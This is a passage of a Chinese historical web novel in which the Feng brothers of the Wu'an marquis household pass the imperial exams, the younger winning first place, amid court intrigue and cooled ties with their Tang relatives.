礼部尚书很有眼色,在倒春寒之事发生之日,就察觉到有人利用了礼部,早就等着今日,干脆直接请旨,“启禀陛下,老臣年迈,时常感觉精力不济,此次春闱彻底结束之后,还请陛下允准臣告老还乡。”
景和帝心中骂了句老狐狸,不过并未为难,“准!”
“老臣叩谢陛下大恩!”礼部尚书成功身退!
而吏部侍郎也没想到,自己当时收受贿赂安排的人里面竟然暗藏着与北边有牵扯之人,他几乎连话都说不出来,直接瘫倒在地。
封简宁只能说直呼庆幸,当时他还在丁忧,并未在吏部任职,可这件事给他敲响警钟,他必须准备些后手以防万一!
“哼,这几年边境安稳,朝廷开互市是念及双方百姓,可有些人竟然将铁器,马匹拿来走私!如今竟为了利益与西戎勾结,企图乱我大晟!其心可诛!”景和帝扫视着底下诸臣,他知道有人为获暴利冒险走私私茶,私盐。铁器与马匹为战略之资,向北边走私这些与资敌有何区别!
所有朝臣均齐声上奏,“请陛下严惩!请陛下严惩国贼!”
“由刑部,大理寺,御史台三司会审,按大晟律依法处置!”景和帝说完这些,直接令玄麟卫当场抓人。
“臣遵旨!”
就在所有人都以为事情告一段落之后,景和帝看向那个默默无闻的三皇子,“老三!对此事你可有话要说?”
三皇子心里‘咯噔’一下,不过依旧镇定道:“陛下,臣无话可说!”(一般在公众场合,皇子会随着臣子称呼为‘陛下’,而私下里则称作父皇或者父亲。)
“你无话可说?那就禁足于皇子府,好好读一读书!”当景和帝得知这个儿子不仅也有意储君之位,而且还顺水推舟搅乱京中局势之时,除了生气之外,更多的是大失所望。
三皇子以为自己可以瞒过所有人,可没想到父皇全都知道,现在被戳破不过是顾及皇室颜面罢了。
他跪在地上行了一个大礼,“臣遵旨!”
有人不理解,有人察觉到三皇子也插手其中,也有人立即意识到后来的事是三皇子浑水摸鱼。
景和帝心中难免失望,前些年哪有这种事情发生,邢勉老了,到底精力有限。但愿顾泽此番前去北边可以起到一些作用。
封简宁现在想起早朝的情形依旧心惊。
封砚初瞧见父亲心不在焉的样子,关心道:“父亲?你怎么了?”
封简宁这才反应过来,“哦,没事,只是在想事情。”
老太太白了一眼,不悦道:“什么事还能有大郎和二郎重要?今日会试放榜,我说让你们早点去礼部衙门外等着杏榜,是你说那里人挤人,不如在家等着,可在家里你又这样!”
封简宁赶紧道歉,“是儿子的不是,还请母亲见谅。”
大娘子见状立即缓和气氛,“母亲也是着急。只是这看榜的人怎么还不回来?真是让人心焦!”
按照老太太原本的性子最多问两句,只是现在事关侯府将来,她也有些急躁,难免将火气撒到儿子身上。
其实封砚初也想亲自去看的。只是大哥封砚开担心如果没中,自己可能失态这才没去,毕竟他对此抱了很大的希望,心里难免失衡。大哥不去,封砚初自然也一起陪对方在家等着。
就在此时,所有人的目光都落在门外之人。此次来报信的依旧是白管家,只见他气喘吁吁的一路跑来。
“启……启禀,老太太……”因为跑的太急,白管家只觉得嗓子眼塞了一团棉花,一时之间气都未喘匀。
老太太骂道:“急死人了!还不快说!”
白管家这才说道:“大喜!老太太,大喜!咱家世子和二郎君都中了贡士!”
“果真!”这里头最激动的要数封简宁,他几乎是立即从座位上起身。
“快说!第几名!”大郎封砚开只觉守得云开见月明,他终于中了,没有辜负多年苦读。
而封砚初也同样很关心,这可是古代的会试,这是他以前连想一想都觉得很难的存在,没想到竟然考中了!
三郎虽然自己学习不好,但他是真心为两个哥哥高兴!此刻仿佛是自己考中一般,兴奋不已。
第一百二十三章 你们都是好样的
白管家激动得声音都在颤抖,“世子中了第八名,二郎君中了头名会元!”
封砚初只觉得耳朵嗡鸣,这是他从未想到过的名次!周围其余人都在不停地恭贺他,摇着他的胳膊说话,而他只知道咧着嘴笑!过了好一会儿才反应过来,连忙对大哥拱手道:“恭喜大哥得中会试!”
大郎封砚开也十分欣喜,他虽然没有二郎的好名次,可也中了不是,于是跟着上前道:“二郎,也恭喜你得中会元!”
两人说到此处,走到中间,朝几位长辈行了一个大礼,“儿子能有今日都是长辈帮扶。”
封砚初也说道:“儿子从前调皮,让父亲与母亲,还有祖母费了不少心,在此多谢长辈教养之恩。”
封简宁可以称的上是老泪纵横,他觉得这么多年总算没有白费,更多是一股骄傲,他为官或许一般,但对子女的教养上还是很出色的,今后出门谁人不艳羡。
他立即上前将两个儿子扶起来,“你们都是好样的!我武安侯府后继有人!”
随后看向长子道:“我知你在读书之事上一贯刻苦,今日会试中了,也不枉费你多年苦读!只是来日官场凶险还需谨慎小心。”
紧接着握着次子的手道:“你自来聪慧,只是心不定,如今能得中会元,可见你已经长大了,知道自己肩上的责任,只是今后还是要稳重一些。”
两人齐声道:“儿子多谢父亲教诲,今后必定谨记。”
老太太看向儿子问道:“好好好!咱们是不是要庆贺一番?”
封简宁摇头道:“先不急,他们已经是贡士,进士是板上钉钉了,不过后头还有殿试,等殿试结束之后咱们再贺一贺!”他心里想着,此等大事,必定要让外头那些觉得他们武安侯府落寞的人看一看,他封简宁有两个好儿子,重振武安侯府指日可待!
封砚初回到自己的院子没一会儿,姨娘就满含热泪的来了,“我的儿啊,你可算是熬出头了!我就知道你能中,当初你外祖父就善读书,要不是身体不好,没准早就中进士当了官,你这是随他了。”
是的,别小看王锦娘,她虽然是进侯府为妾,那也是带了嫁妆进来的,嫁妆就是那些书,仅此就要让所有人高看一眼的,而她便将其全部留给儿子了。
高兴过后的封砚初并没有之前的兴奋,反而心中生起一丝愁绪,可看姨娘这样高兴,也赔笑道:“我知姨娘高兴,我也高兴,只是后头还有殿试呢,姨娘别哭了,仔细眼睛肿了。”
王锦娘抹了抹眼泪道:“我知道,我知道,我就是高兴!你且好好读书,我就不打扰了。”说完乐呵呵的找方姨娘请教针线去了。
当室内只留封砚初一人之时,原本的那一丝愁绪,在心底越扩越大。
‘咚咚咚!’一阵敲门声打断了思绪。
“二郎!”
原来是封砚开来找,他上前亲迎,“大哥?”
“我来找你说说话。”其实封砚开中了会试之后,父亲封简宁便看在他的面子上,解了刘姨娘的禁足。
刘姨娘得知这一消息,兴奋的跑去前头院子找儿子,封砚开都到门口了,硬是没进去,转头来了二郎这里。
“雪香,上茶!”封砚初一边将人请进来,一边吩咐上茶。
封砚开对旁人或许没那么仔细,但是对于二弟的情绪变化还是很敏感的,见对方并没有预料中的高兴,便问道:“我瞧你仿佛心情寻常,怎么中了会元还不高兴?”
“咱们虽然都中了会试,可我并不觉得轻松,这只是前行之路上的起点,咱们还没有迈上征途呢。”封砚初端起茶水浅饮一口。
封砚开手里的茶杯依旧是那个四方杯,他端起茶杯仔细打量,看似说起无关的话题,“二郎,其实咱们兄弟几个你最细心。当初咱们几个偷喝琥珀酒,是你说尿的颜色最接近,所以才有了后头的事情。”
“这个四方杯也是,其他人那里待客用的都是普通杯子,就你特意给每个人都准备了不同的杯子。眼下全家都很高兴,只有你考虑到将来之路的艰辛,更别说如今夺嫡之势愈烈,父亲被迫搅和其中,所以你是什么意思?”他说完这些话,看向二郎的眼神十分认真。
“大哥,陛下如何想咱们不得而知。我只知道咱家不能所有人都站边!这次就是一个机会!封家两兄弟一同得中,陛下就是想不知道都难,更何况还有殿试,如果我到时候有幸位列一甲,陛下必定会问询几句,我要表明我的态度!”封砚初的忧心不是一日两日了。
封砚开见弟弟如此说,他拍了拍对方的肩膀道:“二郎,父亲站到了信国公一边,陛下又怎么可能不知道,你如此也好。”
“那大哥你呢?”封砚初紧张地问道。
“我?我是武安侯府的世子,我自有我的考量和选择!”封砚开的语气十分沉稳,目光坚定,分明早有决断。
“大哥!”
“好啦,二郎,今日是高兴的日子,说这些烦心事做什么?与我手谈一局!”
最后的话,封砚初终究还是没能问出来,只能怀着沉重的心思与大哥对弈。
第一百二十四章 给你做件衣裳
刘姨娘等了好久,还不见儿子回来,便有些不耐烦,“霁红,世子在哪呢?怎么这会还不回来?你也不说出去找找,就说我等着呢!”
霁红脸上没有太多的表情,其实方才她见世子已经到门口了,可是看到姨娘之后,愣是转身走了。瞧方向是二郎君的院子,于是道:“世子之前说要去二郎君那里坐一坐,毕竟不久之后就是殿试,要探讨文章。”
刘姨娘正欲开口说,是我重要,还是那个隔着肚皮的兄弟重要?可又想到之前就因为说话不谨慎被侯爷禁足,这次要不是儿子会试中了,她估计一时半会儿出不来。
硬将话头咽下去,淡淡道:“是嘛?你怎么也不早说,害得我白等这么长时间,如此粗心大意,也不知道怎么伺候我儿!”她觉得自己不能说二郎君的不是,难道还不能说个下人!
“罢了,我走了!一会儿,我儿回来之后,让他来找我!”刘姨娘待的好没意思,留下话终于走了。
霁红行礼道:“是,知道了。”
可巧的是,大郎封砚开此时已离开了,封砚初正好送兄长出了院子,还往外走了好一段路。
原本还说说笑笑的两兄弟,谁也没想到会碰见刘姨娘。尤其是大郎变化最明显,前一刻还在笑,下一刻就换了一副表情,拱了拱手道:“姨娘。”
封砚初打心底不喜欢刘姨娘,虽很少见面,但也知道此人目光短视。只是已经碰到跟前,又是大哥的生母,便也客气的拱了拱手,“刘姨娘。”
随后朝心情明显低落了很多的兄长道:“大哥,那我不打扰你,就先回去了。”说完后迅速离开,仿佛身后有什么东西在追他似的。
封砚开何尝看不出二郎的迫不及待,他对姨娘道:“姨娘是要去内院了吗?那我便先回去了。”
刘姨娘脸色难看。要不是有二郎在,要不是在外面,她必定会立时发作。她被禁足这么久,儿子只让人捎过几次东西,一次都没来看望她,每次让人带话,只推脱会试在即读书要紧。
如今看哪里是读书忙,分明是不想见她,忍了又忍这才道:“大郎,我方才等了好一会儿,你怎么才回来?”
“哦,殿试在即,我与二弟商讨商讨。”其实两人对弈结束后才出来。
“既然这样,那你先去我那里,我有话要和你说。”刘姨娘皮笑肉不笑的样子,可以看出她已经在极力忍耐了,可没想到封砚开下一句话差点让她破防。
“快到饭点了,方才祖母传话,让我去她那里吃饭,说大家聚一聚。”大郎并不觉得这话有问题。
可落在刘姨娘这里却十分刺耳,她是武安侯世子的生母又如何?在外头人家只认唐大娘子是母亲,即使庆贺也没她的份,明明她才是生母,可这一切却与她无关。
“我给你做了一件衣裳,吃完饭过来拿一趟。”刘姨娘最终还是忍住了,虽如此说,可心底的悲凉是怎么都压不住。
大郎却暗暗松了一口气,他实在不知该如何面对姨娘。旁人或许会以为受罚后,她必定会收敛。
可身为儿子的他很清楚姨娘的性子,眼见自己会试得中,只怕愈发觉得有所倚仗,想要对方改?只怕难!
“知道了,姨娘且先回去,我要去祖母那里了。”封砚初行礼后径直去了老太太那里,其实他原本是要回自己住处的,而不用去的那么早。
反观王锦娘拿了一些好料子,便去了方姨娘那里,“你可忙着?”
方姨娘放下手里的绣活,招手道:“快进来!我正押着婉儿绣帕子呢。”
王锦娘进去一瞧,果然封砚婉正愁眉苦脸的捏着针线,有一下没一下的戳着绣花撑子,极不情愿。看到她后,也是站起来客气的行了礼,一句多余的话都没有。
方姨娘气的戳了戳女儿的额头,朝王锦娘抱怨道:“你瞧瞧她,绣个花就像是要她的命一般。”
王锦娘赶紧缓和气氛,“每个孩子都有自己喜欢和擅长的,二姑娘出身在咱们这样的人家,将来哪能真让她绣东西,我方才听说老太太要叫他们一起聚一聚呢。”
方姨娘瞅着女儿千难万难的模样,叹气道:“你便去吧!”
封砚婉这才恢复以往的模样,笑嘻嘻的行礼告辞,“谢谢姨娘;王姨娘,那我先告退了。”
“去吧,去吧。”方姨娘无奈的挥挥手,直到看不见女儿之后,才道:“你说说她,怎么就静不下来呢?我是真羡慕你啊,二郎那般出息,你这后半辈子是有着落了。”
王锦娘笑道:“那是你只看到现在,以前二郎那叫一个淘气,总是闯祸,气的侯爷今儿打一顿,明儿又打一顿。那一次干脆直接上了房顶,还让外头的大人们看见了,你说说,就是满京城也找不出这样的孩子来,那几年我可是没少跟着担心。”
“唉,也是,要是能将二郎的胆子给老四分一些就好了。”方姨娘不仅忧愁女儿坐不住,还发愁儿子胆子太小,“算了,不说他们了,你这是打算给二郎做个什么?”
王锦娘立即道:“这殿试之后,二郎眼见着要授官,这出门应酬可少不了,虽说大娘子也会帮忙备着,可我还是想给他做一件,让他出门穿。”
“那你想在上面绣个什么?”方姨娘见状,一股脑将自己这么多年,备的所有图样子都拿出来,两人一起商量着挑选。
“男子的衣裳一般都是,落花流水纹、曲水纹、如意纹、连云纹、鹿纹等等,既不能太花哨,又不能显得小气,颜色还得素雅。”对于这方面,方姨娘那可谓是如数家珍。
“出门佩戴的玉佩,坠子等也得打了络子。夏季天热,那还得多绣几个扇袋,冬季出门的手炉套子、手捂子,要是有好的皮子,还得做几件裘衣,大氅。”方姨娘越说越兴奋,甚至还拍了拍王锦娘的手道:“你可有的忙了!”
第一百二十五章 三年未见怎么生疏了
次日,封砚初便得知此次会试,江行舟会试中了第三十四名,谢鹤川中了二十六名。
元康却因为会试最后一场便开始发热,从而受了些影响,三人之中,只有他落榜。
三日后,京郊。
元康已经收拾好自己的行李,这次他要随着其余未中的学子一起返乡。
元康的脸色依旧有些苍白,谢鹤川叹道:“元康,你身体还未彻底恢复,何苦这般着急?”
江行舟也劝道:“你最起码要等到自己身体好全之后再说啊,若是落下个什么症候,此生都要后悔的。”
元康拱手道:“多谢诸位能来相送元某,只是在下已经在京中耽搁了许久,既然没考上,那就不能继续给家里增添负担,还不如返乡,再说我好歹是举人,在这京城中不算什么,在我家还是很了不得的。”说完还哈哈笑着。
封砚初将准备好的东西递给对方,“既然你已有打算,我便不强留,我为你备了些吃食和药品,你路上用!元郎君,路途迢迢,我能为你做的也只有这些了。”
元康并未扭捏推拒,而是大大方方的接过去,郑重道:“封二郎,多谢你为我备了这些,多谢你能来相送!”
这两年时间的相处中,让封砚初明白元康其实是一个极其清醒之人,“你的才学我知道,只是这次终究可惜。”
江行舟知道元康与他不同,便道:“这次失败没什么,回去好好准备,三年后再战!”
“借你们吉言!送君千里,终须一别。咱们就在此告别吧!”元康挥挥手,与其他学子一起离开了。
之后,当他打开包袱吃东西时,这才发现里面还装着五十两银币!原本他已经做好最差的心理准备,这些银子帮了大忙。他很清楚,封砚初顾及自己的颜面,只是默默的将银币放在里头。
封砚初三人送别元康之后并未急着散去,而是去了城里的恒文酒肆聚一聚,谢鹤川之前与友人相约倒是去过一次。
而江行舟却是第一次,当他踏入的那一刻,只见里头共分为三层。其中二层与一层中间的位置有一平台,上面坐着一个琵琶女正在弹奏。
他们一行人刚进门,就见掌柜的堆着笑脸连忙迎上来,一边行礼,一边道:“封二郎君安,还是二楼?”
其实封砚初来此的次数并不频繁,可眼前这掌柜还是将他认了出来,于是点头道:“对,劳烦掌柜带路。”
“这是小人的本分。”掌柜举止分寸拿捏的恰到好处。
三人才上了二楼,正要进雅间。就看见旁边走出一个人,竟然是唐沐,对方十分热忱,“二郎,这真巧,竟在此处碰到你,我方才就瞧着仿佛是你,果然没看错。”
封砚初拱了拱手,客气道:“在下也没想到,会在此处遇见唐大郎君,只是我和友人相约,就不打扰了,改日再聚。”
唐沐笑了笑,“什么唐大郎君,这是臊我呢。你苦读备考,咱们才三年没见,怎就生分了,也别改日了,正好陈泽文他们也在,你和你朋友一起过来聚一聚,我让小二再上几道菜。”
封砚初余光一扫,江行舟眉头几不可见的轻蹙,而谢鹤川明显意动,于是拱手道:“你们正高兴,我过去岂不打扰?再者说,过段时间殿试,我们还有别的事情相商。”
唐沐一点也不觉得尴尬,反而十分热情道:“真可惜,那行吧,改日我去找你!”
“好,改日再聚。”封砚初嘴角含笑,客气中带着几分疏离。
其实老侯爷刚去世一年还好些,起码两人还时常约见。随后唐大人见武安侯府没落,就逐渐疏远了。
只能说唐沐不愧是唐承的孙子,眼见祖父疏远,渐渐的也不再与自己往来,如今瞧他中了会元,仿佛无事发生一般,想要继续往来,一如往昔。
这怎么可能忍受得了,还未完全落魄就远远的躲了,如今瞧他与兄长有些出息又靠上来。
果然,刚进雅间落座,谢鹤川就开始打听起来,“方才那位是谁啊?咱们这么拒绝会不会得罪对方?”
封砚初还未说话,江行舟就说道:“你没听说三年未见,二郎虽说苦读,但也没说不见人,偏偏三年都未往来,可见关系寻常。”
“他叫唐沐,是我母亲的侄子,祖父乃是大理寺卿,与我家算是有亲。”封砚初说这话之时特意关注两人的表情变化。
江行舟听到对方竟然与封家乃是姻亲,关系如此近,竟然三年未往来,可见对方一贯捧高踩低,是个只可共富贵之人,心中愈发确定不能与其深交。
而谢鹤川面上未表露,只是点头表示知道,实则瞳孔明显有些许变化。他没想到对方的家世如此好,只是可惜封二郎直接拒绝,白白失去这个可以接近的机会。
两人的变化均落入封砚初眼中,不过他也能理解谢鹤川想要往上爬的心思,但还是更喜欢江行舟的行事准则。
另一边。
唐沐刚进去坐下,旁边的人就说道:“我怎么听着像是封二郎的声音?你们俩不是关系很好嘛,他怎么没进来?”
“他今日请客,与人相聚,也是担心他朋友在这里不自在,就没进来。”唐沐装着一副满不在乎的样子,其实他很清楚,封砚初这是不愿意与他继续往来了。他并不觉得之前的疏远做错了,只是有些可惜自己竟然没看准,没想到对方竟有这样的魄力,能一举中了会元。
周围人都在七嘴八舌的说话,有的感叹封二郎运气好,有的觉得对方下了苦功夫,有的则有些艳羡。
只有陈泽文一直没说话,反而似笑非笑的看着唐沐。因为幼时封二郎打过他,便与对方关系比较疏远,但这不妨碍自己欣赏对方的才能。
只是让他没想到的是唐承左右逢源也就罢了,唐沐竟也学其祖父的样子,之前还声称封二郎苦读,不能常去探望,感情一次都没去。
可唐沐忘了,他祖父乃是大理寺卿,有这个资本;他唐沐算个什么东西,不过是仗着祖父的光,他自己连秀才都没考中。若将来唐承去世,他就不再是唐大人的孙子,而是民!
毕竟,无论武安侯府如何没落,人家封二郎怎么着也是进士出身,官民乃是云泥之别!
第一百二十六章 将来谁还敢指望
两拨人几乎是前后脚就散了,陈泽文看着已经在楼下和朋友告别的封砚初,当年因对方之过,自己回去之后就被收拾了一顿,从那之后心中对其十分不爽。
当现在再次见到对方之时,发现早已没有了幼时的跳脱和调皮,反而稳重了许多,竟有些风光霁月。
想到自己以前因为家里的原因,对庶出极其看不起,就觉得好笑。如今果然应了封砚初的说法,他们兄弟二人是庶出又如何,还不是都考中了。
昨天父亲回去之后,还和母亲抱怨,说武安侯好不得意,那头都快扬到天上去了,随后又开始羡慕起来。
反观唐沐,正和一帮朋友热热闹闹的说着话,仿佛没瞧见楼下的封砚初,其实只有本人明白,是不想弄的自己太尴尬了。耽搁了好一会儿,他才下楼回去,正好错开。
唐家,大舅舅唐景这么多年连个功名也没有,小舅舅唐显倒是已经考中举人,可今年的会试却落榜了,这也是让唐大人没想到的,心里更是失望,如今让小辈走到了前头。
唐沐才回去,就被父亲叫去骂了一顿,“在哪鬼混去了?”
他心情也不好,垮着一张脸道:“我能去哪里鬼混,不过是在恒文酒肆与陈泽文他们吃了一顿饭罢了。”
“那你怎么这副表情?”唐景奇怪道。
唐沐抱怨道:“还能是因为什么?我吃饭的时候碰见了封砚初,眼巴巴的上去打招呼,请吃饭,没想到人家十分冷淡,根本不想理我!”
唐景冷哼一声,“这怪的了谁?这就怪你自己了!”
“这如何怪的了我?我当初与封砚开兄弟俩关系都不错,谁能想到祖父眼见武安侯府败落趁势躲了,之后是他父亲关了他禁闭读书的,那时候他家就已经靠上了信国公,我还如何与他继续往来?”唐沐觉得自己冤的慌。
“借口,大人之间不往来,与你们小辈之间有何关系。人家孙延年还不是依旧与封砚初关系甚好,两人也是常来常往,听说就连在外头置办的宅子都是挨在一处的!”唐景自己没什么本事,他能靠的只有父亲,父亲让他怎么做,他就怎么做,所以对儿子拜高走低的样子很看不上。
他没客气,直接回怼,“当初是你远远的躲了,如今说两句话,却要人家热脸相迎,哪有这样的道理,要我说你这是活该!”
而唐沐的母亲孙氏,原本正在教女儿看账本,听见夫君的讥讽之语,连忙打岔道:“大郎,别和你父亲闲打牙,才饮了酒,回去洗漱洗漱,喝些醒酒汤,躺着歇一歇。”
唐沐得了母亲这话,趁势走了。
唐景对妻子的维护有些不满,“你护着他做甚?分明是自己行止有偏颇,如今满怀怨气,还怪人家不搭理他。”
孙氏长叹道:“他已经长大了,眼看后半年是要娶妻的人了,说他作甚,将来让他娘子去管。”
唐景心中也是郁郁寡欢,如今唐家看着繁盛,又很多人拉拢巴结;若将来父亲有个好歹,他这一支是要败落了,不禁感慨时移世易。
另一处,唐显正在书房读书,妻子方悦荣教儿子启蒙。
他听着儿子稚嫩的声音,心中十分不好受,三年前他没中,这次还没中。封砚开与封砚初是小辈,两人不仅中了,名次还很好,这让他一度快要丧失信心了。
方悦荣看着儿子肉嘟嘟的小脸蛋,心情十分好,她与唐显之间并无夫妻情分,所以在生了儿子之后,唐显像是有了交代一般很少踏进她的屋子。对她而言,儿子也是今后的指望。
其实她很看不上唐家为人,之前武安老侯爷还在世之时,唐家那就一个热忱,人没了还不到一年就远了,还是姻亲呢,将来谁还敢指望?
她方家是靠不上唐家了。所以有那闲工夫,还不如好好教儿子读书,若非她是女子,否则上了科考场必定不比唐显差!
封砚初回去之后,就将今日碰见唐沐的事情说给了兄长。
“哦,他啊,这两年我倒是在其他聚会上碰见过几次。每次碰到之时面上倒是热情,过后也没什么往来,之后我也与他渐渐生疏了。”大郎对此倒是满不在乎,他早就看清对方的为人。
前几年母亲回娘家还会带着他们兄弟见客,自从祖父去世之后就再也没有了,就连姐姐也不带,只是自己一个人回去,可见母亲也明白唐家一贯如此。
封砚初今天见了唐沐之后,心中那股子奋发向上的心气更高了,他就是要让那些曾经瞧不起他们的人都看一看,武安侯府不比他们差!
是的,封砚初一直忍着,要搁以前他不仅要将对方奚落一通,没准还会挑衅对方动手,可今日他忍住了。
封砚开明白二弟心情不佳,拍拍对方的肩膀道:“何苦与那不相干的人生气?”
封砚初这才长舒一口气,试图疏散心中郁气,“我是不忿父亲当初去唐家找唐大人,想让对方帮忙,可唐大人面上应了,事后不了了之,让父亲不得不求靠信国公!也让姐姐掉入那泥坑!”
“可那唐沐今日仿若还似从前那般,说着冠冕堂皇的话,真叫人恶心,凭什么!若是从前我必定不饶他,可时至今日我不得不忍!大哥,你可明白我当时的心情?”
封砚开道:“原本咱们这样的人家结为姻亲,就是为了相互扶持,可唐家就因武安侯府一时的颓然,就极速脱身。如今唐沐靠上来,就是觉得你必定会接住,只是你没有,这是你的骨气,亦是我们武安侯府的。”
封砚初被这么一说,心情好了许多,“是啊,唐家如此行径,你说与他家联姻之人,是不是也担心自己就是下一个武安侯府?一旦将来唐家有事,谁还会去帮忙?”
第一百二十七章 头名会元带来的压力
转眼就到了殿试之期,封砚初与兄长穿着朝廷统一发的礼服,早早就在宫门外排队等候,直到来人将他们领到文华殿外头。
此刻并不是直接进去,而是先要点名、搜身,随后才由官员引导进入。
封砚初进去之后,龙椅之上早已有人,众人又行了礼,才被领到座位上。殿试是从清晨开始,日落前交卷,但通常情况下允许提前交卷。而且为了准备此次殿试,从昨日黄昏之后,两人均未喝水,只是早上吃了一点东西垫肚子。
虽然殿试中可以申请吃东西和如厕,但基本上没人这么做,毕竟会给陛下和考官留下不好的印象,虽说不至于取消资格,可十分影响排名,所以这让封砚初在内心暗暗吐槽。
渐渐的,封砚初投入其中,只是练武之人十分敏锐,他感觉到有人看他,不过并未在意,毕竟考官要关注到每一个人。
虽是殿试,但陛下不可能一直都在,可能待一会儿,也可能只是隔段时间来查看。
景和帝虽然也一样,但他的视线不仅注意到了封砚初,还专门留意看了看对方,毕竟因为六皇子的事情,他难免关注过两次。
可在场的谁不是人精,陛下的动作自然就落在了这些人眼中,也纷纷有意无意的扫视两眼。
直到下午未时中,离开许久的景和帝返回了文华殿,而在场的官员监考期间是可以出去吃东西和如厕的。(未时,一点到三点)
这可苦了封砚初,他是斟酌了又斟酌,直到自己也觉得无可更改这才誊抄,真是熬了又熬,才举手示意,考官还以为他实在忍不住要如厕。
眼见陪同的侍卫已经在门口等着,他这才明白被误会了,于是用手指了指策论,表示要提前交卷。
其实这种提前交的情况往届也有,而封砚初还不是最早的一个,记得二十年前,有一个在午时之前就已经写完了,而且还中了状元,所以这一行为没人觉得奇怪。
将试卷交到‘受卷官’桌前,封砚初并不能随便走动,而是被侍卫带离了文华殿,前往一个指定的空院。到了此处,他这才发现已经饿得感觉不到饿了。宫里也在此处准备了一些食物,可他并不打算吃,而是让一旁等候的太监带他去官房(厕所),解决个人问题。
时间刚到申时,已经有学子陆陆续续的来了,只是让他没想到的是兄长,谢鹤川以及江行舟他们竟硬生生挺到最后一刻。
其实在坐的所有贡士,封砚初未见的都认识,可这些人全都认识他。毕竟是有名会元,而他这位头名会元在殿试时,竟然也是第一个离开,这无形中给后面的人增加不少压力。
当景和帝看到封砚初的策论之时,心里还是被小小的震惊到了,他忍不住感叹到底是武将之后,又是习武之人,比起有些人,他的策论中,对外政策手段很强硬。更是在其中论述了‘小人畏威不畏德’,还有‘真理只在剑锋之内’的决心,阐述了西戎的狼子野心。
也是因为这个原因,阅卷官评阅之时,将他的策论排在前十名之外。还是首辅大臣申大人发现,将其单独拎出来。
果然,在陛下钦定前十名之时,特意问起封砚初的策论。
申大人将提前拿出来的策论教给景和帝,“陛下,封砚初的策论臣等一时拿不定主意,还请陛下御览。”
景和帝接过去看完之后,连连点头称赞,随后笑道:“你个老狐狸,哪里是拿不定主意,分明是他们打出十名之外,这才拿给我瞧。”
申大人脸上的神情很严肃,“如今大家都想着以和,以谈,以平衡之策来应对西戎,也是因为朝中良将短缺之故,只是这终究不是上策。”
“还是你懂你朕啊,不能让朝中只有一个声音,年轻人血气方刚,正好给朝堂注入一些鲜活之气。如此便定为状元,让这些人知道一味地退缩不是好事!”景和帝心里很不好受,这些人是担心一旦点了封砚初,会在朝堂中释放出主战的信号。
申大人拱手道:“陛下圣明!”
其实他也忧心朝堂局势,如今西戎一味的扩张,虽说暂时边疆还算和平,可这又能保持多久呢?一旦开战,大晟良将短缺,若朝中再是一味的主和,那就还没开始便败了!居安思危,现在也要慢慢为将来布局。
已经回到家里的封砚初并不知道,他差点与一甲擦肩而过。此刻的他与父亲和大哥在四叔封简阳的家中。兄弟二人已经默写出殿试策论,拿给对方看。
封简阳先是看了大郎封砚开的策论,算是中规中矩,符合如今的朝堂局势,可他却在封砚初的策论上停留良久,随后叹道:“大郎的名次变化应该不会太大,只是二郎这篇我也拿不准。”
封简宁有些心急,他就是因为次子的策论写的太险,这才让对方帮忙瞧一瞧。
封砚初却安慰道:“父亲不必担心,最多掉出一甲,还能罢了我的资格不成?殿试已过,无论如何我都已经是进士了。”
此时,封简阳话音一转,“不过,二郎这篇策论写的极好。我大晟乃是天朝上国,礼仪之邦,自然对外要强硬一些,否则岂不是让他们小觑了!再说了,西戎近些年扩张的极厉害,已经吞并了周边不少部族,我看将来这一战不可避免!”
第一百二十八章 别踩碎了我的瓦片
两日后,传胪大典。
此刻对于这些贡士来说十分重要,所有人都怀着忐忑与激动的心情站在大殿,先是官员拿出圣旨宣读,赐众人进士及第。随后鸿胪寺官员高声唱着及第者的姓名与名次。
其实封砚初已经做好了从一甲掉到二甲,甚至三甲的准备,但当鸿胪寺官员第一个喊出的名字竟然是他之时,心情竟意外的激动。
“第一甲第一名,封砚初!”
“第一甲第二名,贺辞镜!”
“第一甲第三名,赵怀旭!”
三人听见自己的名字,立即上前依次,其余人则不用,等念完之后,众人这才一起向陛下行礼。
此次一甲三名,二甲共七十名,其余的为三甲,共计二百八十四人!
而这次大郎封砚开则是二甲第七名;谢鹤川二甲第二十七名;江行舟二甲第四十名。
等一切流程走完之后,所有进士都要‘归第’,此时的京城可以称的上是万人空巷,就为了一睹金科进士。
骑在马上的封砚初已经平复了原先激动的心情,他看着周围挤的乌泱泱的人群,虽然嘴角含笑,可心里竟然十分平静,甚至有些走神,直到一个东西砸来,他下意识躲了过去,只听旁边酒肆的楼上发出一阵唏嘘之声。
他抬头去看,竟然是姐姐,二妹,三妹,以及三弟他们。
姐姐封砚敏看见二郎与大郎看了过来,激动的挥了挥手,“二郎!大郎!”
二妹封砚婉与三妹封砚潼也挥手示意,俩人的身子都快探出窗子了,“大哥!二哥!”
三郎则激动的朝旁边的人介绍,“看见那个领头的没,那是我二哥!还有第十个,那是我大哥!都是亲的!”
一旁的人啧啧赞道:“那可真了不得,你的两个哥哥都中了,那你肯定也有功名在身吧?”
三郎的心情并不受影响,反而兴致勃勃道:“我没有功名,可我两个哥哥都中了进士,一个还是状元郎呢!”说到最后,语气上扬满是骄傲,仿佛他自己个儿考中了似的。
另一边,孙延年特意告假前来观看,只是人太多了,他竟然直接跳到房顶上,朝着人群大喊,“二郎!嘿!二郎!我在这儿呢?看我这里!”
封砚初似乎听到好友的声音,可是看了一圈都没见人,直到目光扫向屋顶。先是下意识的挥挥手,引得好些人去看。没想到这厮竟然愈发兴奋了,手挥的越发卖力,声音更大了。
有人还认出来,“那不是孙延年嘛,他肯定是来看封二郎的!”
楼下店铺的掌柜气的骂道:“你快给我下来!别踩碎了我的瓦片!”可声音却被淹没。
封砚初本想缩回去的手停了下来,心中想着,算了,丢人就丢人吧,反正孙延年比他更丢人。
一通热闹之后,封砚初与兄长回到了武安侯府。先去拜见了老太太,“孙儿给祖母请安。”
老太太激动的握着俩人的手,眼含热泪,“都是好孩子,你们给武安侯府争光了!”
大娘子在一旁笑道:“家里专门租了酒楼,原本老太太还想去看热闹呢,幸好被拦下来。”
温氏也附和着,“是啊,这人挤人的,要是摔着可怎么好?”
跟在后头回来的三郎兴奋道:“这算什么呀,我可是看见孙延年跳到房顶上,还朝二哥挥手呢。”
“啊~跳到屋顶上?”父亲封简宁眉头微皱,有些震惊,心中莫名想到了儿子以前的壮举,只能说不愧能玩到一起。
“是啊,是啊,那店铺掌柜气的在地上直跳脚,可他又上不去,只能干看着。”三郎说的那叫一个眉飞色舞。
二叔封简言虽然也为两个侄子高兴,可心中不由想到了还在贡院里的儿子,也不知对方怎么样,能不能考中童生。
一间酒肆,唐沐与陈泽文等人都聚在此处闲聊。
